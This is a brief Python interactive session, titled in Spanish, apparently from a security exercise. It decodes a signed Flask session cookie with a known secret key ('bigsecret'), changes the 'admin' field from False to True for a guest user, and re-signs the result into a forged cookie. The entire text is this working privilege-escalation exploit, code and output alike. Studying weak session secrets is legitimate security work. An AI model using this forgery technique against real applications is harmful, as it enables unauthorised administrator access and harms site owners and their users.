Generar cookie de sesión flask

[sh4r3m4n@sh4r3m4n flask-cracker]$ python
Python 2.7.4 (default, Apr  6 2013, 19:20:36)
[GCC 4.8.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cracker
>>> cookie = "eyJhZG1pbiI6ZmFsc2UsInVzdWFyaW8iOiJndWVzdCJ9.BNr1Lw.nb5dT-U9aN_WAISoeiahcQwToVU"
>>> decodificado = cracker.loads('bigsecret', cookie)
>>> print decodificado
{u'admin': False, u'usuario': u'guest'}
>>> decodificado['admin'] = True
>>> print decodificado
{u'admin': True, u'usuario': u'guest'}
>>> nueva_cookie = cracker.dumps('bigsecret', decodificado)
>>> print nueva_cookie
eyJhZG1pbiI6dHJ1ZSwidXN1YXJpbyI6Imd1ZXN0In0.BNr4VA.5ixhWKM4LSqIXWpVX3Dxpyjc5Ps
>>>